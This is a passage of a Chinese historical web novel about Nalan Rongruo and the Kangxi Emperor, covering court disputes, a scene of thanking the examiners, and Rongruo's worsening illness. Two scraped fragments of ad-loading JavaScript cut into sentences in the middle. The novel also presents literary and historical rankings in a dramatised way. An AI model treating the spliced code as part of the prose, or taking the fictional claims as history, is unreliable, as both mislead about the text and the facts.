“皇上,后宫增添子嗣,您高兴太皇太后也高兴,那是爱新觉罗家的家事,为臣者的确是不该多做干涉;但是,对小阿哥重视太过,以至于有了立储之猜,就算是大清的国事了,臣像阿玛一样,必须对皇上相劝。” 玄烨眉毛一挑,好呀纳兰,朕还没有过问你中举之事,你倒是先区分起朕的“家”与“国”来了,现在在你面前的,是“玄烨”还是“康熙皇帝”? 玄烨没有给自己辩解,而是冷问了眼前“这一对”一句:“纳兰云辞,朕看你俩是商量好了,有意跟朕过不去是吧?” 明珠道:“皇上,专宠皇后只会让索额图在朝中自恃扈,优待嫡长子只会增长大臣们的押宝之心,于国家社稷不利!臣明珠就算是有为己之嫌,也不得不说出这句句真言啊!” 玄烨单手一指,“纳兰你说——” “臣尊敬皇后,无意得罪赫舍里一族,恳请皇上自醒,将嫡长子按照祖宗定下来的规矩养,裁减不当用度与贺宴。也恳请皇上要有数,小阿哥们的才能未见分晓之前,不轻易流露看好谁的情绪和言语。” “皇阿奶喜欢承祜。”玄烨搬出了身后的靠山孝庄,“朕要是该裁的裁,该减的减,太皇太后那边是你去交代吗?” “皇上真要臣去交代,臣也遵旨。” “好你这个义无反顾且不怕死的东西!!”玄烨来到纳兰面前,蹲下与他对视,“打算怎么交代?” “说国情,说皇上。” “说朕?!”玄烨气的一抓纳兰的衣领,又迅速一松手,怒瞪着自己的陪臣,“你放肆——” 纳兰应道:“臣指出皇上的不对,是为了皇上好,不是为了在老祖宗面前数落皇上。” “明珠,你儿子比你更不知好歹!” “容若。”明珠亮出了为人父的风范,“你把想对太皇太后说的话,在皇上面前说出来,有什么后果阿玛给你担着。” 玄烨走回宝座坐下,交叉着双手,等着纳兰说话。 “公子。”云辞叫了一声,“你大胆说,你给皇上留面子没说的,就我来说。” “得一贤妻,胜得半壁江山,先人的话说的好。但是皇上您坐拥的是大清全天下的江山,要顾及的是整个后宫。皇家子嗣,延绵不断,应照礼法和嫔妃位分进行洗礼和满月礼,至于后续宴贺,应择时择机而行,不偏私不偏多,自然可以服人心。” 云辞道:“公子的意思是:第一不可专宠皇后,以免皇上犯下太祖爷独宠阿巴亥、太宗皇帝独宠海兰珠、先帝独宠董鄂妃之错。第二后宫不可频繁借着承祜降生一事举办各种庆贺场子,皇上也不宜场场都去,否则前朝臣心难服。” “好,朕知道你们的意思,会平分恩宠给六宫和理性对嫡长子。纳兰你说,当下朕应当做什么?” “臣以为,皇上应当裁减长城的守卫人数和暂缓修缮工期【注2】,以笼络边夷地域的人心,趁着文治大略前两步行之有效的成果和气势,促成华夏一统。” 玄烨双手按着桌面站了起来,然后向纳兰摔出一句话:“你是不怕死,可是朕还想坐住皇位呢!” 纳兰忠心道:“在臣看来,康熙皇帝的胆识和器量举世无双,只要是正确的举措,就不会怕丢掉自己的帝王头衔。” “这件事,以后再议!” “是。那臣告退。” * “纳兰,你等等!”玄烨一声叫住自己的陪臣,“回答朕,乡试放榜之后,寂寞如你,你都在家里做了什么?” “臣在学习写骈文,写了一篇《雨霁赋》。” “把结尾那句话,一字不差地念给朕听。” “观我生之消息,任天运以卷舒。知显晦之维命,而又何所用其健羡与?” “你是当着朕的面即兴作的?还是真的写过那篇《雨过天晴赋》?” “啊?”纳兰对玄烨的新命名一愣,好一会儿才回过神来,“皇上不信的话,可以派人去臣家里取赋。” 玄烨立刻吩咐了顾问行去办事:“顾总管,你跟明珠回府,去把纳兰最近写的东西都给朕取来。” “奴才这就去。”应完,顾总管对明珠道,“明珠大人,走吧?” 明珠这才反应过来,对康熙皇帝恭敬地说了声:“臣告退。” 同时,明珠也看了容若一眼,感激儿子用这招让自己脱了身。 “皇上,你该给臣的笔墨留点余地吧?” 纳兰说不清,这算不算是对玄烨的请求。 ——照着自己的性子, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不算;但是从某种不舍得的角度,却算。 ——因为自己有珍惜的羽毛,不想全部给了皇上。 “你有什么稿子是见不得人的?”见纳兰不太乐意,玄烨反而高兴了,“还有,你说话滔滔不绝的时候,给朕留过余地吗?” 纳兰急促道:“那不一样。” “有何不同?”玄烨乐呵呵地提前下了命令,“中秋节当日,你到宫里来,朕要看你当面写下一篇《明月赋》。” 纳兰似乎更不愿意了,赌气道:“皇上取的篇章名太俗气了!臣写不出来。” “你——敢嫌弃朕?!” “臣……不说了就是。” “朕让你无字可写,无话可说?!” 纳兰和玄烨之间不太像君臣的对话,倒是把云辞给看笑了。 公子赌气的样子可可爱爱。皇上故作姿态的样子,分明是对公子亲密无间、惺惺相惜。 “梁九功。” “奴才在。” “今夜朕要留纳兰和云辞格格一起用膳,去准备素膳!” “奴才领命。” * 用膳过后,从皇宫里出来,容若一路送云辞回到了瓜尔佳府邸。 云辞对此道了谢,朴尔普则是摆出了“认可贤婿”的模样,对容若大加赞扬。 冷月伴繁星,层云穿梭。 回家的路上,马匹缓行。 容若想到了沈宛,她是个才女,或许知晓骈文的写作要义。要是两人能够一起探讨的话,一定能够相互领悟和相互成就吧? “宛卿,骈文讲究词藻华丽和对仗工整,这点不难。也许因为我是满人,写骈文之时总觉得自己少了一种‘汉赋’的底蕴。情景交融的叙述为我所擅长,散韵结合专事铺陈的手法为我贯通:落墨所写,眼前是景,心中是情;长篇而成,字里是真,行间是魂。” “我的一缕魂游荡在瑰丽的、自我编造的意境中,不见一滴秋雨,却能如临其境,在天晴之后的廊轩底下独坐观望,自成《雨霁赋》。我说不上来通篇的好与坏,所以我才想把这篇骈文拿给宛卿你看。” “啊对了,汉文里面,带‘雨字头’的字都特别复杂,对我来说如此,不知道别人。可是宛卿你跟我说,应是带‘鱼字旁’的繁体古汉字才是最复杂的,你说:‘十个里面,容若能念出五个来就很厉害了。’我当时在笑,现在回想起来,也在笑。” 来之不易。 容若用这四个字来定义现阶段自己跟沈宛的感情。 只是,两人一起相处的时光太珍贵了,只能瞒着明珠。 * 明府的浴室。 容若泡在温水里,卸下一身疲乏。 眼前的侧窗边,有容若喜欢的粉色垂瓣秋荷。 唯美香淡,赏心悦目;独立曳姿,心悦神怡。 水中珠玉,无垢出尘;室内光辉,映映帘开。 “汉人们以焚香沐浴为礼,用来表示虔诚和郑重。后日我要众举人一同去拜见两位主考官:蔡启僔和徐乾学。袖云你说,在这之后,我要不要跟格尔芬一同去‘花鸟风月楼’吃饭畅聊?” “公子要是手头没有打紧的事儿,跟索二公子一同梳梳心情和分分喜悦也无妨。”袖云又想到,“ ‘花鸟风月楼’是张纯修在坐镇场子,改装完毕之后公子还未去看过,想必有他在,雅兴与饮食,公子皆能尽兴。” “我倒是怕阿玛多心,见不得我跟格尔芬走在一起。” “都一样,父辈们的斗争哪能不管束在儿子们身上的?”袖云问,“两位公子可以不计嫌,已经是佳话了。莫论其他。” 容若回到房间以后,秉烛看了大半夜的汉代的名赋。 原本学习写骈文只是自己的兴趣,但是皇上要《明月赋》之后,就跟是“兴趣”转变成了“任务”,幸好能用“跟沈宛共读”这样的理由来安慰自己。 “袖云,顾总管取走了我的哪些笔墨?” “一些既成的文章和诗词。”袖云看着整齐的桌面,“另外的一些样章和想法纸条,心情小词等,袖云替公子好好收着,不曾给过外人。” “那就好。”容若安心地继续看赋,“我也不是每首词、每个字都愿意给别人看的。” 袖云瞧的出来,公子不打算就寝,就到小厨房去亲自熬了莲子花生板栗粥,和包了几只精致的翡翠素饺子出来,给公子做早膳。 容若最终是放下了手中的卷籍,左手支着脑袋小养了一会精神。 再看手侧,纳兰香已是半燃尽,台上明烛已是半低矮。 唯有公子,碧玉似雕又过一宵,素心巧琢想法谁与该? 要问这通宵的“读赋”有什么所得,容若的结论是: 骈文可以怡情养性,不能为了应皇命而写,变成“应制之赋”,就失去美感和意义了。 能够在自己自由的文学活动中应用,能够带人走入绮丽的意境之中,能够创造出一个独特的世界来,能够抒发出一份真挚的感悟来,骈文才能说得上是:有活力和有意义,值得被人传颂和铭记。 此时的容若,还没能知道: 日后自己的骈文作品《渌水亭宴集诗序》,不但抒性高扬、清丽流畅、深入人心,更是与王羲之的《兰亭集序》和李白的《春夜宴桃李园序》二美并称三。 是为:大清第一骈文、大清最美骈文。 【注1】指责内阁之举,纳兰父子是有筹谋的。见第71章末尾。 【注2】纳兰初次提出这个想法,见第66章,当时他怕自己被明珠的政敌抨击的连秋考都参加不了,就决定推迟到秋考后,再对康熙皇帝说。 74.第74章 纳兰容若前往国子监,拜访蔡启僔和徐乾学两位座师。 在他身后,是索二公子格尔芬和诸位名次在列的中举考生。 来到等候处,容若对一个事务官道:“请通传蔡先生和徐先生,纳兰成德、格尔芬与众位中举者一同,欲前往正厅拜谢座师。” 事务官依话照做,不过,出来接见大家的,却只有徐乾学一人。 徐乾学在大家面前一正顶戴,二捋朝珠,三正衣领之后,朗朗道: “祝贺各位!各位如今就是举人了,接下参加春季会试,更要好好准备才是。若是尔等之中,有经历殿试之后入翰林者,那就是孔圣人在保佑,不可忘记座师之恩、圣贤之恩、天子之恩,都记下了吗?” 说罢,徐乾学一侧身,向不远处的孔圣人像行了拱手之礼。 众举人一致大声应道:“记下了!” 遂照着徐先生的模样,面朝孔圣人像行了躬身拜谒大礼。 “纳兰公子是名列前甲之人,骑马前来也无妨。”徐乾学故意刁难道,“何须像别人一样,走着来,倒是不分了身份。” “万一马失了分寸,收不住蹄脚就往孔圣人面前奔去,学生怕是作为特例,这辈子都难以在先贤面前抬头了,徐先生您说是吗?” 容若来到门边,装作不经意地把徐乾学特设的:一盆香味浓郁的、有数只蝴蝶萦绕飞舞的秋花挪了挪位置。 原来,马匹虽然健硕高大,却容易受惊于飞舞的蝴蝶。 要是容若骑马前来,中了徐乾学摆布的第一个圈套“马匹冲撞犯上孔圣人像”,名声必然在读书人当中狼藉。 徐乾学向容若挤出了一个笑容,又对诸生道:“诸位何苦在这秋瑟之中站着,快随纳兰公子一同入内厅来,见过另一位主考官:蔡启僔蔡大人。” “徐先生领路,学生等跟随。” 容若说这话的意思,是叫徐乾学别故意在众举人面前“抬举纳兰”,演的就跟“纳兰才是主角、其余人都是陪衬”一样,触发众举人对纳兰的怨恨与嫉妒。 格尔芬朝背后的众举人问了一句切中的要害的话:“你们都认得这去往正厅的路该跟谁走吗?是我纳兰兄?还是我座师徐乾学?” 众举人齐声道:“我等走徐先生带的路!” 于是,这一众人就跟着徐乾学一同去往了正厅。 正厅之中,蔡启僔一本正经居左而坐,徐乾学步步上前、端着官威居右而坐。在一名礼官的高喊声“拜见座师——”中,容若和格尔芬等人纷纷向蔡徐二人行了儒家的拜师大礼。 礼毕,礼官再高声道:“有请榜首者代众举人谢师——” 照着一向的规矩,榜首者应当从身上拿出拟写好的《谢师文》,端跪在主考官面前,声泪俱下地诵读与谢恩。 这在中原文化里叫做:春蚕到死和蜡炬成灰。 这在儒家文化里叫做:尊师重道,修己慎独。 容若却是两手空空而未跪,一副就要这般姿态陈述己见的模样。 徐乾学忍不住问:“吾生因何不循礼法?” 容若道:“学生请吾师解惑:商隐诗曰:春蚕到死丝方尽,蜡炬成灰泪始干。真的可以引申为先生们对学生们的无私奉献吗?还是在强调一种执念,学生们为实现理想而百折不挠地去往终点的执念?” “吾生切勿本末倒置!” 徐乾学站了起来,不知道纳兰这般别有用心地颠倒概念有何用意。 自古以来,都是以学生感恩师者为上,哪里来的师者体谅学生的求学执念了?难不成纳兰是:自命不凡,想把这“双手执卷”和“跪地谢师”的礼数给废了? 蔡启僔倒是带着些体谅的态度,问容若:“公子可是还没有准备妥当?才生了疑问和端行有欠?” “不是。”容若应的很肯定,“师恩当谢,我成文在胸,无需对着写稿念;谢师不当跪,诚意之言尽到就好。” 徐乾学冷冷提醒道:“吾生入学,私服而往,自成倜傥;吾生作业,斐然于同窗,字字珠玑,页页名篇;吾生所成,天赐才华,三卷第一。这也就罢了,如今吾生视座师尊严为无物,传入天下学监、天下学子耳中,可不就是个错行吗?” 格尔芬替容若道:“纳兰兄在皇上的三位帝师面前都没跪过,徐先生以为自己的人品与学识,跟帝师相比如何?纳兰兄为何要跪你?” “这是礼节。”徐乾学克制着怒火,“他代替你等跪谢师恩和诵读完谢文以后,你等也要对本官与蔡大人行跪三次才算完。” 徐乾学转向礼官,“本官有无说错?” 礼官应道:“徐大人所说无错。” 容若倒是不想费时间多跟徐乾学理论,只在蔡徐两位座师面前站直了身子,按照自己的方式谢起师恩来: “……成德才疏学浅,不及二十岁的年龄参加乡试,承蒙主考官赏识,榜上有名,欣然欢悦,高兴的心情与诸榜上有名者一致。” “今日,成德领共在榜者前往此处拜见座师,向孔圣人行礼,向蔡先生和徐先生行礼,肃然起敬之情难以言表。” “成德犹记得,在过去多次亲临吾师家府:聆听教诲、畅览群书、谈古论今、补文修字,如沐春风。吾师健庵,温温乎其貌,谆谆乎其训词,令人神怿。相处相交,成德之幸。” “……成德谨代表众在榜者拜谢座师,盼切师者惜诸君之才学,众生徒尊师者之威望,共兴大清千秋文道,共传儒学万载教泽。” 徐乾学听罢,满脸惊然。 纳兰性德说的滴水不漏,好一句“吾师健庵,温温乎其貌,谆谆乎其训词“,真是明赞实贬,叫自己心中愧不敢当。 ——我徐乾学是何等看重这身官服?很等在乎这一副官威?哪里衬得起这“和蔼宽悦”之说? ——我徐乾学与爱徒容若切磋学问,无异于是相互斗智斗眼界,谁也不让着谁,以此来争了个谁输谁赢罢了。无赌书泼茶之乐,却有师生相赛之趣。唯独是跟爱徒容若一起共得“十四日共学时光”,才叫本官会打着心里喜欢他、爱惜他,不必训词于他、微词于他。 只可惜公子才高遭妒,在这个世上留不得,也容不得。 天有知公子冰清易碎,离尘世可得大自在,脱束超然。 徐乾学一招反将道:“虽说本官在引路入厅之时,刻意向众举人强调了公子的最优,但公子也不能在这般场景里,当着蔡大人的面过于言及本官。公子不可做:有样学样之事。” “蔡大人!”徐乾学忽然站到了容若身边,故意忏悔道,“是徐某之错,才叫自己被爱徒容若这般称道与抬举,请蔡大人见谅。” “徐大人何错之有啊?”蔡启僔宽和道,“本官只怕纳兰公子对你的那句‘为人师’的评价,会叫后世之人紧紧牢记。这对你的形象而言,可不就是好事吗?” “徐某万万不敢当!”徐乾学看了容若一眼,马上再做出了谦虚的演绎,“那句话,全是爱徒容若的夸大直言,何足挂齿?” “罢了!”蔡启僔一摆手,“徐大人你坐回位置上来,坐端正了。礼官,继续行下一道程序——” “是。”礼官应完,立刻拖长了调子道,“各位新科举人拜见座师,行三跪之礼。” 容若侧身站在一边,格尔芬也没跪。 他俩就这么看着那些同榜的举人们被礼数操纵的像是木偶一般,一言一行,只会按照礼官的口令和孔门的规矩来一一照应着去做。 “到底我跟纳兰兄才是最有骨气的!” “我不跪,不是因为我是满人就不尊孔,也不是因为我目空一切而有意打破规制,我只是单纯不想跪徐先生罢了。” 解释完,容若问格尔芬:“你呢?” 格尔芬笑道:“我佩服纳兰兄,所以在行动上跟从纳兰兄。” “之前你邀约的‘花鸟风月楼’相聚之事,我会去。” “那感情好,我与纳兰兄不尽兴不归!” * 夜里。 容若忽然头痛难忍,只能用双手泡温水的方式来缓解。 “不成了。”容若叹了口气,“袖云你遣人去请郎中来,最好不要惊动阿玛和额娘。要是惊动了……就再说吧。” “公子现在感觉怎么样?” “头疼的厉害,伴随着一股想吐又吐不出来的感觉。最近我不是一直吃不下什么东西吗?胃口不好,浑身空落落的,头却重。” “那公子先忍着。”袖云往盆中再添了些热水,凑合了渐渐冷却下来的温水,“我这就去叫人找郎中来,叫他好好先把公子的症状跟郎中说。” “嗯,你去吧。我闭目养会神。” 等到郎中来了,容若拼命打起了精神来。 “老先生,瞧出什么病来就直接说,不要拐弯抹角相劝相哄。” “老朽给公子把脉。” 袖云把容若从床上扶起,拿来一个方形扶手给容若置手。 她坐在容若身后,半拥容若在怀,以免他忽然失去意识、骤然从床屏上倾身摔落在地而不自知。 过了一会儿,那郎中在惊慌的神色中得出了结论,扑跪在地上道:“公子,你所患的是寒疾!” “寒疾?”容若重复了一遍,“跟我一贯不离身的寒症有何不同?” “寒疾来势汹汹,发病时日不可预测。”那郎中颤声道,“且症状要比寒症重的多、熬人的多。最坏之时,卧床不起,凡事有心无力,最是消殆体力和精神啊!” “照老先生的意思,是没法根治?”容若失重跌在袖云怀里,“那该如何养着?” “发汗最佳,饮用温补汤药为辅。” 郎中对公子心疼而无奈,主要是公子反应太过异于常人,听一而知十,已经晓得“寒疾”的不可治愈性和将伴随一生的不可逆转性。 “不瞒老先生,我出不来汗。”容若虚弱道,“之前我在家里的花园舞剑、教两个弟弟箭术,牵身动骨、热血沸腾,也是滴汗不出。我还想问问是为什么,如今倒像是明白了几分。” “公子切勿自悟病理太深,会加剧神伤的呀!” 郎中再次给容若把脉,只感觉容若的脉象似有还无,找不着一个准,比先前更加微弱和渐逝了。 容若忽然咳出一口血来。 瞧见袖云手上的绢子,他赶紧叮嘱了一句:“不许告诉阿玛和额娘。” 在寥落自伤的目光中,容若询问:“老先生,我这病……怎么会忽然从寒症渐重到了寒疾?” “老朽不敢妄言。”郎中低下头,“公子还是叫宫中的御医来看来诊之后,再细说病因稳妥。” “趁我现在还撑得住精神,老先生就直说了吧!”容若脸色苍白,说话已然辛苦,“我连阿玛和额娘都瞒着,更何况是皇上?” “老朽以为,公子的寒疾:一来是自己累出来的,二来是心事过多,三来是天意有之。” “要是喝药调养,多久能好?”容若没有放弃,眼中流露出了对寒疾的抗争,“你要保证我顺利上二月份春考的考场。” “老朽万死不敢承诺公子!”郎中擦了把老泪,“老朽何尝不想用尽平生所学根治公子顽疾,只是人事人力终究抵不过天意天命呐。” 那郎中握着容若的手,“即便是公子服药强撑到过了春考,想要再撑到殿试……怕是也难。” “照你这么说,我家公子是四季不得安生了?”袖云对那郎中气道,“我家公子样貌、才学、人品出落的世间最好,策略、机谋、武功也可傲视群雄,怎就这身子骨吃了这般苦?” “老朽医病不医心,公子是个完人,应该懂得:身上的担子太重之时,就应学会放下之理。否则身子骨……是吃不消的呀!” 容若似似神游,音色空灵: “我没有为自己多求什么,只想着有所俭行、有所付出和真心待人的话,福报总归是会与身俱长、与日俱长。也许老天爷不想我这样,就时常拿病痛来给我做 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 提醒,以此来叫我多顾着自己。” “公子别这么想。”袖云不愿听“常病”二字,柔声安慰道,“会好的,一切都会好的。” “好,袖云你相信,我也相信。”容若微笑,“一切会好。” “多谢老先生。”容若声线轻轻,“开过方子之后,还请老先生从侧门离开,尽量避人耳目。我实在不想让阿玛和额娘担心。” “公子多保重,老朽这就去写方子。” 等到那郎中走了,容若含水漱了漱口。 他不想去看白玉碗中的鲜红,却没法在低头之时避开,索性就当作是朱红色的颜料散入了笔洗之中,振袖水中央,惊起残红映斜阳。 “袖云,你照着老先生的方子去备药,我睡一会儿,睡醒就不疼了。” “不,我守着公子。”袖云不走,“我知道公子现在想让人陪着。” “是啊,有你在我身边好。”容若安然地合上了眼睛,“到了给阿玛和额娘请早安的时候,袖云你要叫醒我,我怕自己醒不来,睡的太沉太沉。” ——袖云会的,公子别怕。 她守护着他。 如果可以,她宁愿被病痛折磨的人是自己。 * 养心殿。 玄烨拟定了几条对付三藩的好计策,就对顾问行道:“顾总管,你去传朕的旨意,叫纳兰到朕身边来。” “对了,朕对纳兰那篇《雨过天晴赋》做了圈点和批注,你跟他说,朕有意见要提。” “回万岁爷,纳兰公子那篇骈文叫做《雨霁赋》。您非要改名,到时候公子不认,奴才也不好给您做回话。” “如今你是管起朕来了?”玄烨把手中的骈文稿卷了展、展了又卷,“赋的名字,朕有朕的叫法,纳兰有纳兰的叫法,你听谁的?” 顾问行服了主:“奴才听万岁爷的。” “这会儿朕不用你去通传纳兰进宫了,朕去慈宁宫陪皇阿奶说话。” “太皇太后身边的苏嬷嬷派人来说,慈宁宫准备了桂花酥,正要叫皇上过去品尝呢。” “给纳兰送了一样的糕点没有?” “奴才怕皇上有心把‘桂花酥’说成‘桂花酿’,不敢擅自遣了人去送。” “纳兰不是爱吃酪吗?叫你那懂事的徒弟去把‘桂花花生酪’送到明府去,说时朕的意思。还有,跟纳兰说,《明月赋》如果不写不呈,就是抗旨。” “奴才明白。” 顾问行便叫来梁九功,交待道:“万岁爷给你两份差事,给纳兰公子送吃的和询问他有没有写《明月赋》,你好歹办仔细了,两头的心情都要兼顾到。” 梁九功道:“奴才谢万岁爷,谢干爹。这就去办。” * 容若歪在病榻上。 默默看着挪放到了自己近侧的方凳上的、玻璃鱼缸里的数条小金鱼。 袖云进来,将宫廷点心提盒放在桌子上。 “公子可好些了?皇上遣了梁九功梁公公亲自来,为公子送了:桂花花生酪。” “说实话,不太好。”容若自知气力皆虚,“将这份点心送到‘饮水词歌·素菜馆’的‘一双人’雅室去,留给宾客品尝。” “公子的宾客不是在‘花鸟风月楼’吗?”袖云提醒,“怎要将点心送往它处?” “即便是‘一双人’雅室的宾客不在,免得桂花花生酪久置放坏,叮嘱了厨子仔细参详和学习宫廷手艺,复刻出一样的美食来也是好的。” “袖云觉得……‘一双人’雅室里面的客人,对公子来说意义不一样。” “看机缘吧!她来的巧,就能吃上;碰巧她没来,也做了罢。” 容若倦合了眼。 竟然浮现出了沈宛的模样来,隐隐约约,从远至近,从模糊到具象,他看见她坐在自己面前,又一次带着新奇的目光和惊喜的心态品尝美食。 她又笑又劝:“公子不觉得自己也应该吃一些吗?全归了我一个人尝,‘蟾宫折桂’之贺岂非让给我了?接下来要考会试的人可不是我。” 自己这般回应:“我闻过桂花香,算是已经吃过了。” “不算不算。”她摇头,“桂花吹断月中香,饮清露,双人如许。” 自己有了尝的心情,应许道:“好,那我也吃点……” 听见容若在迷迷糊糊中交错着说“已经吃过了”和“我也吃点”,袖云唤了几声:“公子,公子……” 见容若没有反应,已经在梦语之中乘随梦境而去,袖云不由得难过起来。 袖云用手绢擦了擦眼,把情绪调整过来之后,将点心提盒带出房间外,交给一个家仆道: “照着公子的意思,送到‘饮水词歌·素菜馆’的‘一双人’雅室去。跟掌事人说:宾客若至,就叫宾客来尝;宾客未至,就叫厨子弄明白这道宫廷点心的做法,日后把‘桂花花生酪’放入菜单去做常菜。” 家仆询问:“袖云姑娘,公子可还好?” 袖云一咬牙,照着容若不愿给阿玛和额娘添扰的心思道:“公子很好,老爷和夫人问起来,也要这么回话。” “是,小的这就去办事。” * 袖云折返房中,在书桌上看见了容若不知何时写了一半的《明月赋》。 其中一段是: 心镜长明,则风烟一抹于云端;化城星泽,则玄兔素娥于帝台。月者清也,今知佳期之秋引;海者晦也,却忘临风之就毕…… 袖云和公子并不知道: 在往后,到了乾隆朝时,诞生了一篇名为《海上生明月赋》的骈文。 作者,正是刻意不在《四库全书》之中收录纳兰容若的作品,妄图超越纳兰容若以“大清第一才子”自居的纪昀纪晓岚。 纪晓岚写道:天子握长明之心镜,游不夜之化城,知圣人之体性,与明月而同清。 然,世人以康熙朝纳兰性德的《明月赋》为佳,少言及乾隆朝的后来之赋矣。 75.第75章 一日早晨。 索额图经过自家花园,竟然看见格尔芬拿着一卷书,边徘徊边看,还一面说出了“真是畅快”这样的话语。 “儿啊,你这是在读书?还是在做样子给阿玛看?” “儿在准备春考。” 索额图欣慰又振奋,鼓励道:“你要是能通过春考顺利进入殿试,那就是大大长了我赫舍里一族的脸!到时候阿玛定要扬眉吐气地带了你登入明珠家去,杀杀老对手意气!” 格尔格一身正气道:“儿是为了不辜负纳兰兄的好意,才决定用这四个月的时间来勤学苦读,跟阿玛您的指望和赫舍里一族的荣耀无关。儿即便是考上了,也不会跟您去明府搞事情。” “你怎么跟阿玛说话呢?”索额图冷问,“以前阿玛以为你跟纳兰性德比不得,现在却是觉得你能指望的上,你比你那不知生死的长兄阿尔吉善有出息多了,最起码还摘了一个‘举人’头衔!” “阿玛要是没有别的事,儿想继续看书。” “去准备一下,阿玛带你去宫中走动走动。” “儿要凭自己的真本事考!” “阿玛没说带你去走人情场子,只是带你去熟悉熟悉宫里的环境。咱们满人子弟,以当上侍卫为荣,那些汉人则以读书当官为荣。原本阿玛是想叫你去当个侍卫,这侍卫用不着考试,只要没有人生污点、长的端正、出身上三旗就能够进入备选,但是如今看来,你也吃不了那些站岗的苦和为皇命奔波的累。” “当侍卫没什么不好。”格尔芬放下书,“跟皇上离的近,升迁机会大,吃苦吃累算什么?” “这么说,你对侍卫一职有考虑过?” “等会试之后再说吧!阿玛不必急着做安排。” 父子一起走出府邸的时候,索额图忽然问格尔芬:“儿啊,你现在有什么理想或是目标没有?可以跟阿玛说。” 格尔芬还真说了出口:“儿喜欢一等公朴尔普的女儿:云辞格格。对她一见钟情。” “没出息!”索额图上了马,居高临下地看着格尔芬,“你跟纳兰性德抢未婚妻?我索额图在明珠面前丢不起这个人!” “儿只是喜欢,没说要抢要娶。”格尔芬在索额图自下而上的移动目光中跃上马背,“阿玛对此心里有个数就好。” “单相思也要有个度。”索额图的声音混杂着马蹄声,“不管云辞格格以后嫁给谁,都轮不上你。” “儿知道。”格尔芬策马在索额图旁侧,“所以没有强求过。只把喜欢当作是一件可以说的私事。” 索额图没有听明白格尔芬后半句话的意思,但也不想往深处去问。 父子俩人只管向前奔去,掠过瑟瑟秋风,卷起片片落叶。 * 房间里,容若好不容易进了几勺玉米羹,算是吃下去了东西。 在袖云端走早膳的缝隙,容若自己穿好了外出的衣服,准备离家。 “公子想要去哪儿?” “我去皇宫,找西医。”容若决定道,“寒疾折磨的我难受,不能再指望汉医郎中拖下去了。包括那些宫廷御医,也不见得就能对症下药。” “公子憔悴,若真要出门,一路小心。” “没事。”容若自己提了提精神,“去皇宫看病而已,总归是拿自己的身体试西药,好则最佳,不好则是宿命,我没什么接受不来的。” “只是西药要想从太医院开出来,怕也不是易事。袖云怕太医院之人顽固,偏要说公子崇洋,不肯安排西医的班次,不肯公子问西药。” 容若知道袖云说的有道理,所以才责备那些守旧的御医道: “我是在给自己救命!太医院之人还搞什么明索党争?还拿汉方挤兑什么洋方?看病试药的人是我,定生定死的人也是我,那些人也容不下?” 袖云关切道:“请公子慎重。” 容若边外走边道:“袖云你记着,要是我到了傍晚还没回来,你就把我去找西医的事告诉阿玛和额娘。” “是,袖云记下了。” * 另一边,御花园。 纳兰惠儿正在独自赏花。 太监张全保上前道:“奴才给惠嫔娘娘请安。中秋节将至,皇上给娘娘赐了一对花好月圆的耳坠,奴才给娘娘送来了。” “替本宫多谢皇上。” “是。奴才一定向皇上传达。” “公公这一趟辛苦了。”惠嫔说罢,给贴身宫女远黛使了一个颜色,意思是要照着默认的“规矩”给那张公公跑腿费。 “娘娘,皇上如今对六宫雨露均沾,可是多亏了您的伯父明珠大人的进谏。恕奴才多嘴说一句,明珠大人在朝堂上未能如往日那般制衡索党,怕是有些忠君的做法操之过急了一些。” 惠嫔警示道:“张公公你记着,你说的每一句话都是本宫的家事,而非前朝的政事。” “奴才晓得后宫不得干政之理。”张全保随着惠嫔往前走,“但更晓得——家族荣衰关系嫔妃恩宠之实。莫说是皇上这会儿才想起给惠嫔娘娘您送东西,奴才听说,朝中许多大人们碍于索党的势态,对明珠大人长公子夺魁榜首这样的大喜事,都是想贺而不敢贺。” “眼光还是需要放长远一点。”惠嫔停步平视前方,“容若公子的功名路,不是只限于‘乡试’这一项,他更大的成就在后头呢。” ——在外人面前,不能叫“表兄”,只能叫“容若公子”。 ——就像是曾经的“惠儿”变成了大家口中的“惠嫔娘娘”一样,人事变迁,伤感多兼。 “娘娘说的是。”张全保应道,“奴才忠于娘娘,忠于纳兰公子,忠于明珠大人。” “照理说,后宫嫔妃是不能去太医院的,但是本宫想亲自去选些好药材出来给皇上炖汤补身子,张公公你是内务府的太监,就随着本宫一起去吧!” “是,奴才随着惠嫔娘娘一同,不叫娘娘有嫌。” “要是有别宫的主位的心腹问起,你应该怎么答话?” “回惠嫔娘娘,”张全保机敏道,“奴才就说,是万岁爷给的准儿。” “好,跟上吧!” 惠嫔朝太医院走去。 * 容若踏进太医院,一眼看过去,忙活的全是汉医御医们。 那些御医,手头上多是干一些服务于后宫嫔妃们的利益之事,不见得对其他该做的份内之职上心:精思和改良行军过程中的医方、仁心和善念以待监狱囚犯的身病、尽责和全意行走亲贵大臣们的探病差事…… ——满腹心思放在红墙内院,不思医术应济君济臣心无愧,不知医者应为君为国献金方,朝廷养着你们做什么? ——方子不该多总结?医书不该多参悟?德行不该多提升?你们摸摸自己的心是冷的还是热的? 容若想过去给院使提个醒,脑袋却是一阵眩晕,只得在原地站着。 几位跟明珠交好的“心腹”走了过来,包括左右院判和数位御医。 左院判对容若关心道:“长公子若是需要卑职等尽心,叫人来太医院传话就是,何须自己辛劳跑这一趟?卑职瞧着长公子已是在硬撑精神,还是快坐下吧!” “皇上一向圣明。”容若询问,“帝师启用洋人南怀仁,画师启用洋人林约翰,今日我怎么不见西医尤里恩、乔纳斯和邦尼特?” 【注1】 右院判道:“卑职不敢明说,长公子应当明白这会儿太医院是谁说了算。院使亲索党,索大人主张:医术,华夷有别。” “华夷有别?”容若重复了一遍,“索额图这一个‘华’字,是给足了院使和手下的各医官医吏们胆子和底气啊?一个‘华’字,就可以不认‘西医之术’和‘满蒙医兴’了吗?” “长公子,今日西医不在。卑职等愿意好好为长公子诊疗寒疾。” 从左右院判口中听到“寒疾”一词,容若就知道那两位医者是有真本事的。 不然,两位院判不会未诊脉、未闻病状、未听心音而知:纳兰公子的寒症渐进了,酿成寒疾而使得身子和脑袋越发沉重。 向两位院判表达了自己的信任之后,容若指着“洋医署”的空位道:“我晓得,西医们不是不肯坐班,而是汉医御医们排挤打压,使得他们不得机会照职出勤。” 两位院判无奈不语。 “我过去跟院使说——” 容若一手揉了揉太阳穴缓解头痛,一手撑着桌面站了起来。 